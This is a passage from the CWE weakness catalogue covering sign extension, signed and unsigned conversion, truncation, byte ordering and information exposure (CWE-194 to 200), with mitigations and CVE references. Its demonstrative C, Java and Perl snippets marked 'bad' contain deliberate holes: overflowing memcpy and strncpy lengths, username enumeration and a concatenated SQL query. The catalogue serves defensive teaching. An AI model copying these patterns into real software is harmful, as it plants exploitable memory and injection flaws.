MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gap

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Off-by-one Error

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	STR31-C		Guarantee that storage for strings has sufficient space for character data and the null terminator

References

[REF-155]Halvar Flake. "Third Generation Exploits". presentation at Black Hat Europe 2001. < http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt >.

[REF-156]Steve Christey. "Off-by-one errors: a brief explanation". Secprog and SC-L mailing list posts. 2004 May 5. < http://marc.info/?l=secprog&m=108379742110553&w=2 >.

[REF-157]klog. "The Frame Pointer Overwrite". Phrack Issue 55, Chapter 8. 1999 September 9. < http://kaizo.org/mirrors/phrack/phrack55/P55-08 >.

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-194: Unexpected Sign Extension

Weakness ID : 194 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1322

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Read Memory	
Confidentiality	Modify Memory	
Availability	Other	

Scope	Impact	Likelihood
Other	*When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.*	

Potential Mitigations

Phase: Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

Demonstrative Examples

Example 1:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C *(bad)*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Observed Examples

Reference	Description
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10887*
CVE-1999-0234	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0234*
CVE-2003-0161	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0161*
CVE-2007-4988	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988*
CVE-2006-1834	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1834*
CVE-2005-2753	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2753*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Notes

Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Sign extension error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-161]John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008 January 5. < http://www.informit.com/articles/article.aspx?p=686170&seqNum=6 >.

[REF-162]Robert Seacord. "Integral Security". 2006 November 3. < http://www.ddj.com/security/193501774 >.

CWE-195: Signed to Unsigned Conversion Error

Weakness ID : 195 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1322
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1554
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.*	

Demonstrative Examples

Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C *(bad)*

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
    amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C *(bad)*

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 3:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 4:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

Example Language: C *(bad)*

```
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        process(buf);
        return strm + len;
    }
    else {
        return -1;
    }
}
```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

Example 5:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Signed to unsigned conversion error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-196: Unsigned to Signed Conversion Error

Weakness ID : 196 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1322
CanAlsoBe	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanAlsoBe	B	124	Buffer Underwrite ('Buffer Underflow')	298

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.*	
Integrity	Modify Memory *If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.*	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism *Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.*	

Potential Mitigations

Phase: Requirements

Choose a language which is not subject to these casting flaws.

Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsigned to signed conversion error
Software Fault Patterns	SFP1		Glitch in computation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-197: Numeric Truncation Error

Weakness ID : 197 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1322
CanAlsoBe	V	192	Integer Coercion Error	446
CanAlsoBe	V	194	Unexpected Sign Extension	454
CanAlsoBe	V	195	Signed to Unsigned Conversion Error	457
CanAlsoBe	V	196	Unsigned to Signed Conversion Error	460

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *The true value of the data is lost and corrupted data is used.*	

Potential Mitigations

Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

Demonstrative Examples

Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

Example Language: C *(bad)*

```
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

Example Language: *(result)*

```
Int MAXINT: 2147483647
Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Example 2:

In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.

Example Language: Java *(bad)*

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

Example Language: Java *(good)*

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
```

```
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    else {
    // throw exception or perform other processing
        ...
    }
}
...
```

Observed Examples

Reference	Description
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0231*
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3282*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	1903
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	1996
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Research Gap

This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric truncation error
CLASP			Truncation error
CERT C Secure Coding	FIO34-C	CWE More Abstract	Distinguish between characters read from a file and EOF or WEOF
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT02-C		Understand integer conversion rules

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-198: Use of Incorrect Byte Ordering

Weakness ID : 198 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	188	Reliance on Data/Memory Layout	435

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Notes

Research Gap

Under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric Byte Ordering Error
The CERT Oracle Secure Coding Standard for Java (2011)	FIO12-J		Provide methods to read and write little-endian data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID : 200 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

- private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
- system status and environment, such as the operating system and installed packages
- business secrets and intellectual property
- network status and configuration
- the product's own code or internal state
- metadata, e.g. logging of connections or message headers
- indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

- the product's own users
- people or organizations whose information is created or used by the product, even if they are not direct product users

- the product's administrators, including the admins of the system(s) and/or networks on which the product operates
- the developer

Information exposures can occur in different ways:

- the code explicitly inserts sensitive information into resources that are made accessible to unauthorized actors
- a different weakness or mistake inadvertently makes the sensitive information available, such as a web script error revealing the full system path of the program

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	B	201	Exposure of Sensitive Information Through Sent Data	474
ParentOf	B	203	Observable Discrepancy	478
ParentOf	B	209	Generation of Error Message Containing Sensitive Information	490
ParentOf	B	213	Exposure of Sensitive Information Due to Incompatible Policies	503
ParentOf	B	215	Insertion of Sensitive Information Into Debugging Code	507
ParentOf	B	359	Exposure of Private Personal Information to an Unauthorized Actor	788
ParentOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1062
ParentOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1111
ParentOf	B	1243	Exposure of Security-Sensitive Fuse Values During Debug	1764
ParentOf	B	1273	Device Unlock Credential Sharing	1818
CanFollow	V	498	Cloneable Class Containing Sensitive Information	1065
CanFollow	V	499	Serializable Class Containing Sensitive Data	1067

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	203	Observable Discrepancy	478
ParentOf	B	209	Generation of Error Message Containing Sensitive Information	490
ParentOf	B	532	Insertion of Sensitive Information into Log File	1104

Weakness Ordinalities

Primary : Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed

Resultant : Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Alternate Terms

Information Leak : This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

Information Disclosure : This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Inter-application Flow Analysis

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl *(bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language: *(result)*

```
"Login Failed - incorrect username or password"
```

Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

Example Language: Java *(bad)*

```
try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), '\n';
    echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
            + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

